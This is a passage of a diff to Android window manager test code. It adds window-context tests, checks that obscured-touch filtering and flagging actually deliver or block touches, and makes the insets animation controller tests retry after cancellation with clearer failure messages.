         mContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
     }
 
+    @Test(expected = IllegalArgumentException.class)
+    public void testWindowContextWithNullDisplay() {
+        final Context displayContext = createDisplayContext(Display.DEFAULT_DISPLAY);
+        displayContext.createWindowContext(null /* display */, TYPE_APPLICATION_OVERLAY,
+                null /* options */);
+    }
+
+    @Test
+    public void testWindowContextWithDisplayOnNonUiContext() {
+        createAllowSystemAlertWindowAppOpSession();
+        final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
+        mContext.createWindowContext(display, TYPE_APPLICATION_OVERLAY, null /* options */);
+    }
+
     @Test(expected = UnsupportedOperationException.class)
     public void testCreateTooManyWindowContextWithoutViewThrowException() {
         createAllowSystemAlertWindowAppOpSession();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
index 83407f6..1587b0f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
@@ -23,14 +23,17 @@
 
 /**  Base class for window context tests */
 class WindowContextTestBase extends MultiDisplayTestBase {
+    Context createDisplayContext(int displayId) {
+        final Display display = mDm.getDisplay(displayId);
+        return mContext.createDisplayContext(display);
+    }
 
     Context createWindowContext(int displayId) {
         return createWindowContext(displayId, TYPE_APPLICATION_OVERLAY);
     }
 
     Context createWindowContext(int displayId, int type) {
-        final Display display = mDm.getDisplay(displayId);
-        return mContext.createDisplayContext(display).createWindowContext(
+        return createDisplayContext(displayId).createWindowContext(
                 type, null /* options */);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index da8c825..b29807c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -30,6 +30,9 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -40,6 +43,7 @@
 import android.graphics.Color;
 import android.graphics.Point;
 import android.graphics.Rect;
+import android.hardware.input.InputManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -55,6 +59,7 @@
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
 
 import androidx.test.rule.ActivityTestRule;
 
@@ -70,6 +75,7 @@
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Ensure moving windows and tapping is done synchronously.
@@ -87,6 +93,7 @@
     private Instrumentation mInstrumentation;
     private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
     private TestActivity mActivity;
+    private InputManager mInputManager;
     private View mView;
     private final Random mRandom = new Random(1);
 
@@ -100,6 +107,7 @@
 
         mInstrumentation = getInstrumentation();
         mActivity = mActivityRule.launchActivity(null);
+        mInputManager = mActivity.getSystemService(InputManager.class);
         mInstrumentation.waitForIdleSync();
         mClickCount = 0;
     }
@@ -107,17 +115,18 @@
     @Test
     public void testMoveWindowAndTap() throws Throwable {
         final WindowManager wm = mActivity.getWindowManager();
-        Point displaySize = new Point();
-        mActivity.getDisplay().getSize(displaySize);
-
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+        p.setFitInsetsTypes(WindowInsets.Type.systemBars()
+                | WindowInsets.Type.systemGestures());
+        p.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        p.width = p.height = 20;
+        p.gravity = Gravity.LEFT | Gravity.TOP;
 
         // Set up window.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
-            p.width = 20;
-            p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            mView.setBackgroundColor(Color.RED);
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
@@ -125,11 +134,10 @@
         });
         mInstrumentation.waitForIdleSync();
 
-        WindowInsets insets = mActivity.getWindow().getDecorView().getRootWindowInsets();
-        final Rect windowBounds = new Rect(insets.getSystemWindowInsetLeft(),
-                insets.getSystemWindowInsetTop(),
-                displaySize.x - insets.getSystemWindowInsetRight(),
-                displaySize.y - insets.getSystemWindowInsetBottom());
+        final WindowMetrics windowMetrics = wm.getCurrentWindowMetrics();
+        final WindowInsets windowInsets = windowMetrics.getWindowInsets();
+        final Rect windowBounds = new Rect(windowMetrics.getBounds());
+        windowBounds.inset(windowInsets.getInsetsIgnoringVisibility(p.getFitInsetsTypes()));
 
         // Move the window to a random location in the window and attempt to tap on view multiple
         // times.
@@ -148,8 +156,18 @@
 
             mInstrumentation.waitForIdleSync();
             if (mClickCount != previousCount + 1) {
+                final int vW = mView.getWidth();
+                final int vH = mView.getHeight();
+                final int[] viewOnScreenXY = new int[2];
+                mView.getLocationOnScreen(viewOnScreenXY);
+                final Point tapPosition =
+                        new Point(viewOnScreenXY[0] + vW / 2, viewOnScreenXY[1] + vH / 2);
+                final Rect realBounds = new Rect(viewOnScreenXY[0], viewOnScreenXY[1],
+                        viewOnScreenXY[0] + vW, viewOnScreenXY[1] + vH);
+                final Rect requestedBounds = new Rect(p.x, p.y, p.x + p.width, p.y + p.height);
                 dumpWindows("Dumping windows due to failure");
-                fail("Tap #" + i + " on " + locationInWindow + " failed");
+                fail("Tap #" + i + " on " + tapPosition + " failed; realBounds=" + realBounds
+                        + " requestedBounds=" + requestedBounds);
             }
         }
 
@@ -203,6 +221,7 @@
     public void testFilterTouchesWhenObscuredByWindowFromSameUid() throws Throwable {
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
 
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         // Set up a touchable window.
         mActivityRule.runOnUiThread(() -> {
             mView = new View(mActivity);
@@ -215,6 +234,7 @@
                 mClickCount++;
             });
             mView.setOnTouchListener((v, ev) -> {
+                touchReceived.set(true);
                 assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
                 return false;
             });
@@ -232,6 +252,7 @@
         mInstrumentation.waitForIdleSync();
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
+        assertTrue(touchReceived.get());
         assertEquals(1, mClickCount);
     }
 
@@ -242,6 +263,7 @@
         final Intent intent = new Intent();
         intent.setComponent(Components.OVERLAY_TEST_SERVICE);
         final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         try {
             // Set up a touchable window.
             mActivityRule.runOnUiThread(() -> {
@@ -255,6 +277,52 @@
                     mClickCount++;
                 });
                 mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
+                    return false;
+                });
+                mActivity.addWindow(mView, p);
+
+                // Set up an overlap window from service, use different process.
+                WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
+                params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch(mActivity);
+                intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
+                mActivity.startForegroundService(intent);
+            });
+            mInstrumentation.waitForIdleSync();
+            waitForWindow(windowName);
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+            // Touch not received due to setFilterTouchesWhenObscured(true)
+            assertFalse(touchReceived.get());
+            assertEquals(0, mClickCount);
+        } finally {
+            mActivity.stopService(intent);
+        }
+    }
+
+    @Test
+    public void testFlagTouchesWhenObscuredByWindowFromDifferentUid() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Intent intent = new Intent();
+        intent.setComponent(Components.OVERLAY_TEST_SERVICE);
+        final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
+        try {
+            // Set up a touchable window.
+            mActivityRule.runOnUiThread(() -> {
+                mView = new View(mActivity);
+                p.flags = FLAG_NOT_TOUCH_MODAL | FLAG_LAYOUT_IN_SCREEN;
+                p.width = 100;
+                p.height = 100;
+                p.gravity = Gravity.CENTER;
+                mView.setOnClickListener((v) -> {
+                    mClickCount++;
+                });
+                mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
                     assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
                             ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
                     return false;
@@ -264,6 +332,8 @@
                 // Set up an overlap window from service, use different process.
                 WindowManager.LayoutParams params = getObscuringViewLayoutParams(windowName);
                 params.flags |= FLAG_NOT_TOUCHABLE;
+                // Any opacity higher than this would make InputDispatcher block the touch
+                params.alpha = mInputManager.getMaximumObscuringOpacityForTouch(mActivity);
                 intent.putExtra(EXTRA_LAYOUT_PARAMS, params);
                 mActivity.startForegroundService(intent);
             });
@@ -271,7 +341,8 @@
             waitForWindow(windowName);
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
-            assertEquals(0, mClickCount);
+            assertTrue(touchReceived.get());
+            assertEquals(1, mClickCount);
         } finally {
             mActivity.stopService(intent);
         }
@@ -284,6 +355,7 @@
         final Intent intent = new Intent();
         intent.setComponent(Components.OVERLAY_TEST_SERVICE);
         final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         try {
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
@@ -296,6 +368,7 @@
                     mClickCount++;
                 });
                 mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
                     assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
                     return false;
                 });
@@ -312,6 +385,7 @@
             waitForWindow(windowName);
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
+            assertTrue(touchReceived.get());
             assertEquals(1, mClickCount);
         } finally {
             mActivity.stopService(intent);
@@ -325,6 +399,7 @@
         final Intent intent = new Intent();
         intent.setComponent(Components.OVERLAY_TEST_SERVICE);
         final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         try {
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
@@ -337,6 +412,7 @@
                     mClickCount++;
                 });
                 mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
                     assertEquals(MotionEvent.FLAG_WINDOW_IS_OBSCURED,
                             ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
                     return false;
@@ -354,6 +430,7 @@
             waitForWindow(windowName);
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
+            assertTrue(touchReceived.get());
             assertEquals(1, mClickCount);
         } finally {
             mActivity.stopService(intent);
@@ -367,6 +444,7 @@
         final Intent intent = new Intent();
         intent.setComponent(Components.OVERLAY_TEST_SERVICE);
         final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         try {
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
@@ -379,6 +457,7 @@
                     mClickCount++;
                 });
                 mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
                     assertEquals(MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED,
                             ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
                     return false;
@@ -397,6 +476,7 @@
             waitForWindow(windowName);
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
+            assertTrue(touchReceived.get());
             assertEquals(1, mClickCount);
         } finally {
             mActivity.stopService(intent);
@@ -411,6 +491,7 @@
         final Intent intent = new Intent();
         intent.setComponent(Components.OVERLAY_TEST_SERVICE);
         final String windowName = "Test Overlay";
+        final AtomicBoolean touchReceived = new AtomicBoolean(false);
         try {
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
@@ -423,6 +504,7 @@
                     mClickCount++;
                 });
                 mView.setOnTouchListener((v, ev) -> {
+                    touchReceived.set(true);
                     assertEquals(0, ev.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED);
                     return false;
                 });
@@ -441,6 +523,7 @@
             waitForWindow(windowName);
             CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
 
+            assertTrue(touchReceived.get());
             assertEquals(1, mClickCount);
         } finally {
             mActivity.stopService(intent);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 35b06ba..fb1b173 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -57,6 +57,7 @@
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsAnimationControlListener;
 import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
@@ -72,7 +73,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
 import org.junit.runner.RunWith;
@@ -81,12 +81,14 @@
 import org.junit.runners.Parameterized.Parameters;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -109,7 +111,6 @@
     List<VerifyingCallback> mCallbacks = new ArrayList<>();
     private boolean mLossOfControlExpected;
 
-    @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
     /**
@@ -135,8 +136,7 @@
     }
 
     @Before
-    public void setUp() throws Exception {
-        super.setUp();
+    public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
         final ImeEventStream mockImeEventStream;
         if (mType == ime()) {
             final Instrumentation instrumentation = getInstrumentation();
@@ -164,6 +164,7 @@
                     editorMatcher("onStartInput", mActivity.getEditTextMarker()),
                     TimeUnit.SECONDS.toMillis(10));
         }
+        awaitControl(mType);
     }
 
     @After
@@ -185,6 +186,7 @@
             mMockImeSession.close();
             mMockImeSession = null;
         }
+        mErrorCollector.verify();
     }
 
     private void assumeTestCompatibility() {
@@ -194,180 +196,236 @@
         }
     }
 
+    private void awaitControl(int type) throws Throwable {
+        CountDownLatch control = new CountDownLatch(1);
+        OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+            if ((controllableTypes & type) != 0)
+                control.countDown();
+        };
+        runOnUiThread(() -> mRootView.getWindowInsetsController()
+                .addOnControllableInsetsChangedListener(listener));
+        try {
+            if (!control.await(10, TimeUnit.SECONDS)) {
+                fail("Timeout waiting for control of " + type);
+            }
+        } finally {
+            runOnUiThread(() -> mRootView.getWindowInsetsController()
+                    .removeOnControllableInsetsChangedListener(listener)
+            );
+        }
+    }
+
+    private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+        try {
+            mErrorCollector.verify();
+            test.run();
+        } catch (CancelledWhileWaitingForReadyException e) {
+            // Deflake cancellations waiting for ready - we'll reset state and try again.
+            runOnUiThread(() -> {
+                mCallbacks.clear();
+                if (mRootView != null) {
+                    mRootView.setWindowInsetsAnimationCallback(null);
+                }
+            });
+            mErrorCollector = new LimitedErrorCollector();
+            mListener = new ControlListener(mErrorCollector);
+            awaitControl(mType);
+            test.run();
+        }
+    }
+
     @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mCancellationSignal.cancel();
+            });
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mCancellationSignal.cancel();
-        });
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Test
     public void testControl_andImmediatelyCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
-            mCancellationSignal.cancel();
-        });
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+                mCancellationSignal.cancel();
+            });
 
-        mListener.assertWasCalled(CANCELLED);
-        mListener.assertWasNotCalled(READY);
-        mListener.assertWasNotCalled(FINISHED);
+            mListener.assertWasCalled(CANCELLED);
+            mListener.assertWasNotCalled(READY);
+            mListener.assertWasNotCalled(FINISHED);
+        });
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(true);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(true);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(false);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(false);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
-        mInterpolator = new DecelerateInterpolator();
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            mInterpolator = new DecelerateInterpolator();
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Test
     public void testControl_andLoseControl() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false, TimeUnit.MINUTES.toMillis(5));
+            runOnUiThread(() -> {
+                mLossOfControlExpected = true;
+            });
+            launchHomeActivityNoWait();
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false, TimeUnit.MINUTES.toMillis(5));
-        runOnUiThread(() -> {
-            mLossOfControlExpected = true;
-        });
-        launchHomeActivityNoWait();
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Presubmit
@@ -377,23 +435,26 @@
             return;
         }
 
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+            runOnUiThread(() -> {
+                mActivity.getSystemService(InputMethodManager.class).restartInput(
+                        mActivity.mEditor);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-        runOnUiThread(() -> {
-            mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     private void setupAnimationListener() {
@@ -514,6 +575,7 @@
 
         WindowInsetsAnimationController mController = null;
         int mTypes = -1;
+        RuntimeException mCancelledStack = null;
 
         ControlListener(ErrorCollector errorCollector) {
             mErrorCollector = errorCollector;
@@ -562,6 +624,7 @@
                 mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
                 mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
             }
+            mCancelledStack = new RuntimeException("onCancelled called here");
             report(CANCELLED);
         }
 
@@ -575,7 +638,12 @@
             CountDownLatch latch = mLatches[event.ordinal()];
             try {
                 if (!latch.await(10, TimeUnit.SECONDS)) {
-                    fail("Timeout waiting for " + event);
+                    if (event == READY && mCancelledStack != null) {
+                        throw new CancelledWhileWaitingForReadyException(
+                                "expected " + event + " but instead got " + CANCELLED,
+                                mCancelledStack);
+                    }
+                    fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
                 }
             } catch (InterruptedException e) {
                 throw new AssertionError("Interrupted", e);
@@ -584,12 +652,21 @@
 
         void assertWasCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " expected, but never called", 0, latch.getCount());
+            assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+                    0, latch.getCount());
         }
 
         void assertWasNotCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " not expected, but was called", 1, latch.getCount());
+            assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+                    1, latch.getCount());
+        }
+
+        String reportedEvents() {
+            return Arrays.stream(Event.values())
+                    .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+                    .map(Enum::toString)
+                    .collect(Collectors.joining(",", "<", ">"));
         }
     }
 
@@ -649,6 +726,7 @@
 
     public static final class LimitedErrorCollector extends ErrorCollector {
         private static final int LIMIT = 1;
+        private static final boolean REPORT_SUPPRESSED_ERRORS = false;
         private int mCount = 0;
 
         @Override
@@ -660,10 +738,20 @@
 
         @Override
         protected void verify() throws Throwable {
-            if (mCount > LIMIT) {
-                super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+            if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+                super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
             }
             super.verify();
         }
     }
+
+    private interface ThrowableThrowingRunnable {
+        void run() throws Throwable;
+    }
+
+    private static class CancelledWhileWaitingForReadyException extends AssertionError {
+        public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+            super(message, cause);
+        }
+    };
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 067b390..1590c39 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -124,6 +124,7 @@
      */
     @Test
     public void testForcedConsumedTopInsets() throws Exception {
+        mUseTaskOrganizer = false;
         assumeTrue("Skipping test: no split multi-window support",
                 supportsSplitScreenMultiWindow());
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 5d6c91b..160c3d4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -21,9 +21,6 @@
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_SYSTEM_ALERT_WINDOW;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_NAME;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_OPACITY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -37,34 +34,29 @@
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
 import android.app.Instrumentation;
-import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
